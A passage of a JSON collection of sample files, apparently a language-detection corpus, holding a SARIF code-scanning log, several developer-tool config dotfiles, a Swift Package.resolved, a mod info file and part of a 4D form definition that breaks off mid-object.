\"x\": 256,\n            \"y\": 168\n          },\n          \"size\": {\n            \"width\": 320,\n            \"height\": 248\n          }\n        }\n      ],\n      \"wires\": [\n        {\n          \"source\": {\n            \"block\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n            \"port\": \"value\"\n          },\n          \"target\": {\n            \"block\": \"630ec8a5-a44b-42a8-9e0b-e75b4e21cc22\",\n            \"port\": \"in\"\n          },\n          \"size\": 8\n        },\n        {\n          \"source\": {\n            \"block\": \"3fe27a7f-50fc-41d7-a2a1-ad9f796d483e\",\n            \"port\": \"out\"\n          },\n          \"target\": {\n            \"block\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n            \"port\": \"clk\"\n          }\n        },\n        {\n          \"source\": {\n            \"block\": \"e7174473-3686-41ee-8894-3fc87bd156d0\",\n            \"port\": \"out\"\n          },\n          \"target\": {\n            \"block\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n            \"port\": \"up\"\n          }\n        },\n        {\n          \"source\": {\n            \"block\": \"407c5757-e32a-4624-b30a-6e0b843d378d\",\n            \"port\": \"out\"\n          },\n          \"target\": {\n            \"block\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n            \"port\": \"down\"\n          }\n        },\n        {\n          \"source\": {\n            \"block\": \"371d2121-6c35-430b-8213-cabae1486eb1\",\n            \"port\": \"out\"\n          },\n          \"target\": {\n            \"block\": \"a22dd85b-90a8-44e1-b84b-5a3e58f652d4\",\n            \"port\": \"reset\"\n          }\n        }\n      ]\n    }\n  },\n  \"dependencies\": {}\n}"
  },
  {
    "path": "samples/JSON/code-scanning.sarif",
    "content": "{\n  \"$schema\": \"https://json.schemastore.org/sarif-2.1.0.json\",\n  \"version\": \"2.1.0\",\n  \"runs\": [\n    {\n      \"tool\": {\n        \"driver\": {\n          \"name\": \"Tool Name\",\n          \"semanticVersion\": \"2.0.0\",\n          \"rules\": [\n            {\n              \"id\": \"3f292041e51d22005ce48f39df3585d44ce1b0ad\",\n              \"name\": \"js/unused-local-variable\",\n              \"shortDescription\": {\n                \"text\": \"Unused variable, import, function or class\"\n              },\n              \"fullDescription\": {\n                \"text\": \"Unused variables, imports, functions or classes may be a symptom of a bug and should be examined carefully.\"\n              },\n              \"defaultConfiguration\": {\n                \"level\": \"note\"\n              },\n              \"properties\": {\n                \"tags\": [\n                  \"maintainability\"\n                ],\n                \"precision\": \"very-high\"\n              }\n            },\n            {\n              \"id\": \"d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0\",\n              \"name\": \"js/inconsistent-use-of-new\",\n              \"shortDescription\": {\n                \"text\": \"Inconsistent use of 'new'\"\n              },\n              \"fullDescription\": {\n                \"text\": \"If a function is intended to be a constructor, it should always be invoked with 'new'. Otherwise, it should always be invoked as a normal function, that is, without 'new'.\"\n              },\n              \"properties\": {\n                \"tags\": [\n                  \"reliability\",\n                  \"correctness\",\n                  \"language-features\"\n                ],\n                \"precision\": \"very-high\"\n              }\n            },\n            {\n              \"id\": \"R01\"\n            }\n          ]\n        }\n      },\n      \"automationDetails\": {\n        \"id\": \"my-category/\"\n      },\n      \"results\": [\n        {\n          \"ruleId\": \"3f292041e51d22005ce48f39df3585d44ce1b0ad\",\n          \"ruleIndex\": 0,\n          \"message\": {\n            \"text\": \"Unused variable foo.\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"main.js\",\n                  \"uriBaseId\": \"%SRCROOT%\"\n                },\n                \"region\": {\n                  \"startLine\": 2,\n                  \"startColumn\": 7,\n                  \"endColumn\": 10\n                }\n              }\n            }\n          ],\n          \"partialFingerprints\": {\n            \"primaryLocationLineHash\": \"39fa2ee980eb94b0:1\",\n            \"primaryLocationStartColumnFingerprint\": \"4\"\n          }\n        },\n        {\n          \"ruleId\": \"d5b664aefd5ca4b21b52fdc1d744d7d6ab6886d0\",\n          \"ruleIndex\": 1,\n          \"message\": {\n            \"text\": \"Function resolvingPromise is sometimes invoked as a constructor (for example [here](1)), and sometimes as a normal function (for example [here](2)).\"\n          },\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"src/promises.js\",\n                  \"uriBaseId\": \"%SRCROOT%\"\n                },\n                \"region\": {\n                  \"startLine\": 2\n                }\n              }\n            }\n          ],\n          \"partialFingerprints\": {\n            \"primaryLocationLineHash\": \"5061c3315a741b7d:1\",\n            \"primaryLocationStartColumnFingerprint\": \"7\"\n          },\n          \"relatedLocations\": [\n            {\n              \"id\": 1,\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"src/ParseObject.js\",\n                  \"uriBaseId\": \"%SRCROOT%\"\n                },\n                \"region\": {\n                  \"startLine\": 2281,\n                  \"startColumn\": 33,\n                  \"endColumn\": 55\n                }\n              },\n              \"message\": {\n                \"text\": \"here\"\n              }\n            },\n            {\n              \"id\": 2,\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"src/LiveQueryClient.js\",\n                  \"uriBaseId\": \"%SRCROOT%\"\n                },\n                \"region\": {\n                  \"startLine\": 166\n                }\n              },\n              \"message\": {\n                \"text\": \"here\"\n              }\n            }\n          ]\n        },\n        {\n          \"ruleId\": \"R01\",\n          \"message\": {\n            \"text\": \"Specifying both [ruleIndex](1) and [ruleID](2) might lead to inconsistencies.\"\n          },\n          \"level\": \"error\",\n          \"locations\": [\n            {\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"full.sarif\",\n                  \"uriBaseId\": \"%SRCROOT%\"\n                },\n                \"region\": {\n                  \"startLine\": 54,\n                  \"startColumn\": 10,\n                  \"endLine\": 55,\n                  \"endColumn\": 25\n                }\n              }\n            }\n          ],\n          \"relatedLocations\": [\n            {\n              \"id\": 1,\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"full.sarif\"\n                },\n                \"region\": {\n                  \"startLine\": 81,\n                  \"startColumn\": 10,\n                  \"endColumn\": 18\n                }\n              },\n              \"message\": {\n                \"text\": \"here\"\n              }\n            },\n            {\n              \"id\": 2,\n              \"physicalLocation\": {\n                \"artifactLocation\": {\n                  \"uri\": \"full.sarif\"\n                },\n                \"region\": {\n                  \"startLine\": 82,\n                  \"startColumn\": 10,\n                  \"endColumn\": 21\n                }\n              },\n              \"message\": {\n                \"text\": \"here\"\n              }\n            }\n          ],\n          \"codeFlows\": [\n            {\n              \"threadFlows\": [\n                {\n                  \"locations\": [\n                    {\n                      \"location\": {\n                        \"physicalLocation\": {\n                          \"region\": {\n                            \"startLine\": 11,\n                            \"endLine\": 29,\n                            \"startColumn\": 10,\n                            \"endColumn\": 18\n                          },\n                          \"artifactLocation\": {\n                            \"uriBaseId\": \"%SRCROOT%\",\n                            \"uri\": \"full.sarif\"\n                          }\n                        },\n                        \"message\": {\n                          \"text\": \"Rule has index 0\"\n                        }\n                      }\n                    },\n                    {\n                      \"location\": {\n                        \"physicalLocation\": {\n                          \"region\": {\n                            \"endColumn\": 47,\n                            \"startColumn\": 12,\n                            \"startLine\": 12\n                          },\n                          \"artifactLocation\": {\n                            \"uriBaseId\": \"%SRCROOT%\",\n                            \"uri\": \"full.sarif\"\n                          }\n                        }\n                      }\n                    }\n                  ]\n                }\n              ]\n            }\n          ],\n          \"partialFingerprints\": {\n            \"primaryLocationLineHash\": \"ABC:2\"\n          }\n        }\n      ],\n      \"columnKind\": \"utf16CodeUnits\"\n    }\n  ]\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.all-contributorsrc",
    "content": "{\n  \"projectName\": \"all-contributors\",\n  \"projectOwner\": \"all-contributors\",\n  \"files\": [\n    \"README.md\"\n  ],\n  \"imageSize\": 100,\n  \"contributors\": [\n    {\n      \"login\": \"kentcdodds\",\n      \"name\": \"Kent C. Dodds\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/1500684?v=3\",\n      \"profile\": \"https://kentcdodds.com\",\n      \"contributions\": [\n        \"question\",\n        \"doc\",\n        \"review\",\n        \"talk\"\n      ]\n    },\n    {\n      \"login\": \"jfmengels\",\n      \"name\": \"Jeroen Engels\",\n      \"avatar_url\": \"https://avatars.githubusercontent.com/u/3869412?v=3\",\n      \"profile\": \"https://github.com/jfmengels\",\n      \"contributions\": [\n        \"doc\",\n        \"review\",\n        \"tool\"\n      ]\n    },\n    {\n      \"login\": \"jakebolam\",\n      \"name\": \"Jake Bolam\",\n      \"avatar_url\": \"https://avatars2.githubusercontent.com/u/3534236?v=4\",\n      \"profile\": \"https://jakebolam.com\",\n      \"contributions\": [\n        \"doc\",\n        \"tool\",\n        \"infra\",\n        \"maintenance\",\n        \"review\",\n        \"question\"\n      ]\n    }\n  ],\n  \"repoType\": \"github\",\n  \"contributorsPerLine\": 7,\n  \"repoHost\": \"https://github.com\",\n  \"commitConvention\": \"angular\",\n  \"skipCi\": true\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.arcconfig",
    "content": "{\n\t\"project_id\": \"example\",\n\t\"conduit_uri\": \"https://ex.am.pl/\",\n\t\"copyright_holder\": \"Apache Software Foundation\",\n\t\"arcanist_configuration\": \"ArcJIRAConfiguration\",\n\t\"phabricator.uri\": \"https://phabricator.example.com/\",\n\t\"load\": [\"libs/src\"]\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.htmlhintrc",
    "content": "{\n\t\"alt-require\": true,\n\t\"attr-lowercase\": true,\n\t\"attr-no-duplication\": true,\n\t\"attr-unsafe-chars\": true,\n\t\"attr-value-double-quotes\": true,\n\t\"attr-value-not-empty\": false,\n\t\"doctype-first\": true,\n\t\"doctype-html5\": true,\n\t\"head-script-disabled\": false,\n\t\"href-abs-or-rel\": false,\n\t\"id-class-ad-disabled\": true,\n\t\"id-class-value\": false,\n\t\"id-unique\": true,\n\t\"inline-script-disabled\": true,\n\t\"inline-style-disabled\": true,\n\t\"space-tab-mixed-disabled\": \"space\",\n\t\"spec-char-escape\": true,\n\t\"src-not-empty\": true,\n\t\"style-disabled\": false,\n\t\"tag-pair\": true,\n\t\"tag-self-close\": false,\n\t\"tagname-lowercase\": true,\n\t\"title-require\": true\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.imgbotconfig",
    "content": "{\n  \"schedule\": \"weekly\",\n  \"ignoredFiles\": [\n    \"*.svg\",\n    \"raw/*\",\n    \"public/assets/*\"\n  ],\n  \"minKBReduced\": 200,\n  \"aggressiveCompression\": \"false\"\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.tern-config",
    "content": "{\n\t\"ecmaVersion\": 6,\n\t\"libs\": [\n\t\t\"browser\",\n\t\t\"jquery\"\n\t],\n\t\"dontLoad\": [\n\t\t\"node_modules/**\"\n\t],\n\t\"plugins\": {\n\t\t\"es_modules\": {},\n\t\t\"node\": {},\n\t\t\"angular\": {},\n\t\t\"doc_comment\": {\n\t\t\t\"fullDocs\": true,\n\t\t\t\"strong\": true\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.tern-project",
    "content": "{\n\t\"ecmaVersion\": 6,\n\t\"libs\": [],\n\t\"loadEagerly\": [\n\t\t\"src/app/**/*.js\"\n\t],\n\t\"dontLoad\": [\n\t\t\"node_modules\"\n\t],\n\t\"plugins\": {\n\t\t\"requirejs\": {\n\t\t\t\"baseURL\": \"src\"\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "samples/JSON/filenames/.watchmanconfig",
    "content": "{\n\t\"ignore_dirs\": [\n\t\t\"buck-out\",\n\t\t\".idea\",\n\t\t\".buckd\",\n\t\t\"ant-out\",\n\t\t\"test/com/facebook/buck/testutil/integration/testlibs/buck-out\",\n\t\t\"test/com/facebook/buck/testutil/integration/testlibs/.buckd\"\n\t]\n}\n"
  },
  {
    "path": "samples/JSON/filenames/Package.resolved",
    "content": "{\n  \"pins\" : [\n    {\n      \"identity\" : \"swift-argument-parser\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/apple/swift-argument-parser.git\",\n      \"state\" : {\n        \"revision\" : \"0fbc8848e389af3bb55c182bc19ca9d5dc2f255b\",\n        \"version\" : \"1.4.0\"\n      }\n    },\n    {\n      \"identity\" : \"swift-driver\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/swiftlang/swift-driver\",\n      \"state\" : {\n        \"branch\" : \"main\",\n        \"revision\" : \"c647e91574122f2b104d294ab1ec5baadaa1aa95\"\n      }\n    },\n    {\n      \"identity\" : \"swift-llbuild\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/apple/swift-llbuild.git\",\n      \"state\" : {\n        \"branch\" : \"main\",\n        \"revision\" : \"e4ea3d267974bf75e637ec65c0b753558b22a451\"\n      }\n    },\n    {\n      \"identity\" : \"swift-toolchain-sqlite\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/swiftlang/swift-toolchain-sqlite\",\n      \"state\" : {\n        \"revision\" : \"9cff1f87bf66f6642ba510d42da7a3bb10006bba\",\n        \"version\" : \"0.1.1\"\n      }\n    },\n    {\n      \"identity\" : \"swift-tools-support-core\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/apple/swift-tools-support-core.git\",\n      \"state\" : {\n        \"branch\" : \"main\",\n        \"revision\" : \"a76104dbd3c3fff41adb70bc7e917a4b2d076cef\"\n      }\n    },\n    {\n      \"identity\" : \"yams\",\n      \"kind\" : \"remoteSourceControl\",\n      \"location\" : \"https://github.com/jpsim/Yams.git\",\n      \"state\" : {\n        \"revision\" : \"0d9ee7ea8c4ebd4a489ad7a73d5c6cad55d6fed3\",\n        \"version\" : \"5.0.6\"\n      }\n    }\n  ],\n  \"version\" : 2\n}\n"
  },
  {
    "path": "samples/JSON/filenames/mcmod.info",
    "content": "[\n{\n  \"modid\": \"examplemod\",\n  \"name\": \"Example Mod\",\n  \"description\": \"Example placeholder mod.\",\n  \"version\": \"${version}\",\n  \"mcversion\": \"${mcversion}\",\n  \"url\": \"\",\n  \"updateUrl\": \"\",\n  \"authorList\": [\"ExampleDude\"],\n  \"credits\": \"The Forge and FML guys, for making this example\",\n  \"logoFile\": \"\",\n  \"screenshots\": [],\n  \"dependencies\": []\n}\n]\n"
  },
  {
    "path": "samples/JSON/form.4DForm",
    "content": "{\n\t\"destination\": \"detailScreen\",\n\t\"rightMargin\": 19,\n\t\"bottomMargin\": 20,\n\t\"markerBody\": 197,\n\t\"markerBreak\": 197,\n\t\"markerFooter\": 207,\n\t\"events\": [\n\t\t\"onLoad\",\n\t\t\"onValidate\",\n\t\t\"onClick\",\n\t\t\"onHeader\",\n\t\t\"onPrintingBreak\",\n\t\t\"onPrintingFooter\",\n\t\t\"onDisplayDetail\",\n\t\t\"onOutsideCall\",\n\t\t\"onDoubleClick\",\n\t\t\"onDrop\",\n\t\t\"onMenuSelect\",\n\t\t\"onPluginArea\",\n\t\t\"onDataChange\",\n\t\t\"onDragOver\",\n\t\t\"onPrintingDetail\",\n\t\t\"onOpenDetail\",\n\t\t\"onCloseDetail\",\n\t\t\"onTimer\",\n\t\t\"onAfterKeystroke\",\n\t\t\"onLoadRecord\",\n\t\t\"onAfterEdit\",\n\t\t\"onBeginDragOver\",\n\t\t\"onBoundVariableChange\",\n\t\t\"onPageChange\"\n\t],\n\t\"pageFormat\": {\n\t\t\"paperName\": \"A4\",\n\t\t\"paperWidth\": \"842pt\",\n\t\t\"paperHeight\": \"595pt\"\n\t},\n\t\"pages\": [\n\t\tnull,\n\t\t{\n\t\t\t\"objects\": {\n\t\t\t\t\"テキスト6\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 93,\n\t\t\t\t\t\"left\": 24,\n\t\t\t\t\t\"width\": 515,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"sizingX\": \"grow\",\n\t\t\t\t\t\"stroke\": \"#000000\",\n\t\t\t\t\t\"text\": \"Table_1\"\n\t\t\t\t},\n\t\t\t\t\"線7\": {\n\t\t\t\t\t\"type\": \"line\",\n\t\t\t\t\t\"top\": 77,\n\t\t\t\t\t\"left\": 19,\n\t\t\t\t\t\"width\": 644,\n\t\t\t\t\t\"sizingX\": \"grow\"\n\t\t\t\t},\n\t\t\t\t\"bFirst\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 21,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/先頭レコード\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"firstRecord\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/FirstRecord.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bPrevious\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 84,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/前レコード\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"previousRecord\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/PreviousRecord.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bNext\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 147,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/次レコード\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"nextRecord\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/NextRecord.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bLast\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 210,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/最終レコード\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"lastRecord\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/LastRecord.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bDelete\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 273,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/レコード削除\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"deleteRecord\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/DeleteRecord.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bCancel\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 336,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/キャンセル\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"cancel\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/Cancel.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"bValidate\": {\n\t\t\t\t\t\"type\": \"pictureButton\",\n\t\t\t\t\t\"top\": 16,\n\t\t\t\t\t\"left\": 399,\n\t\t\t\t\t\"width\": 48,\n\t\t\t\t\t\"height\": 48,\n\t\t\t\t\t\"tooltip\": {\n\t\t\t\t\t\t\"$ref\": \"/SOURCES/tips.json#/OK\"\n\t\t\t\t\t},\n\t\t\t\t\t\"action\": \"accept\",\n\t\t\t\t\t\"rowCount\": 4,\n\t\t\t\t\t\"picture\": \"/RESOURCES/Images/Buttons/LightGrey/Validate.png\",\n\t\t\t\t\t\"switchWhenRollover\": true,\n\t\t\t\t\t\"switchBackWhenReleased\": true,\n\t\t\t\t\t\"useLastFrameAsDisabled\": true,\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onClick\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"テキスト8\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 146,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"ID : \"\n\t\t\t\t},\n\t\t\t\t\"テキスト9\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 173,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"Field_2 : \"\n\t\t\t\t},\n\t\t\t\t\"テキスト10\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 200,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"Field_3 : \"\n\t\t\t\t},\n\t\t\t\t\"ID\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 146,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 64,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_1:1]ID:1\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"integer\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"Field_2\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 173,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 305,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_1:1]Field_2:2\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"fill\": \"#FFFFFF\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"Field_3\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 200,\n\t\t\t\t\t\"left\": 94,\n\t\t\t\t\t\"width\": 305,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"[Table_1:1]Field_3:3\",\n\t\t\t\t\t\"textAlign\": \"left\",\n\t\t\t\t\t\"fill\": \"#FFFFFF\",\n\t\t\t\t\t\"borderStyle\": \"sunken\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\",\n\t\t\t\t\t\"events\": [\n\t\t\t\t\t\t\"onLoad\",\n\t\t\t\t\t\t\"onValidate\",\n\t\t\t\t\t\t\"onClick\",\n\t\t\t\t\t\t\"onHeader\",\n\t\t\t\t\t\t\"onPrintingBreak\",\n\t\t\t\t\t\t\"onPrintingFooter\",\n\t\t\t\t\t\t\"onDisplayDetail\",\n\t\t\t\t\t\t\"onDataChange\",\n\t\t\t\t\t\t\"onPrintingDetail\"\n\t\t\t\t\t]\n\t\t\t\t},\n\t\t\t\t\"Variable\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 94,\n\t\t\t\t\t\"left\": 418,\n\t\t\t\t\t\"width\": 211,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"Read only state:C362([Table_1:1])\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"undefined\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"none\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"Text\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 94,\n\t\t\t\t\t\"left\": 122,\n\t\t\t\t\t\"width\": 276,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"text\": \"Read only state([Table_1])\"\n\t\t\t\t},\n\t\t\t\t\"Variable1\": {\n\t\t\t\t\t\"type\": \"input\",\n\t\t\t\t\t\"top\": 114,\n\t\t\t\t\t\"left\": 418,\n\t\t\t\t\t\"width\": 211,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"dataSource\": \"Locked:C147([Table_1:1])\",\n\t\t\t\t\t\"dataSourceTypeHint\": \"undefined\",\n\t\t\t\t\t\"focusable\": false,\n\t\t\t\t\t\"fill\": \"transparent\",\n\t\t\t\t\t\"borderStyle\": \"none\",\n\t\t\t\t\t\"enterable\": false,\n\t\t\t\t\t\"contextMenu\": \"none\",\n\t\t\t\t\t\"dragging\": \"none\",\n\t\t\t\t\t\"dropping\": \"none\"\n\t\t\t\t},\n\t\t\t\t\"Text1\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 114,\n\t\t\t\t\t\"left\": 122,\n\t\t\t\t\t\"width\": 276,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"text\": \"Locked([Table_1])\"\n\t\t\t\t},\n\t\t\t\t\"テキスト1\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 326,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 17,\n\t\t\t\t\t\"textAlign\": \"right\",\n\t\t\t\t\t\"text\": \"ID : \"\n\t\t\t\t},\n\t\t\t\t\"テキスト2\": {\n\t\t\t\t\t\"type\": \"text\",\n\t\t\t\t\t\"top\": 353,\n\t\t\t\t\t\"left\": 30,\n\t\t\t\t\t\"width\": 59,\n\t\t\t\t\t\"height\": 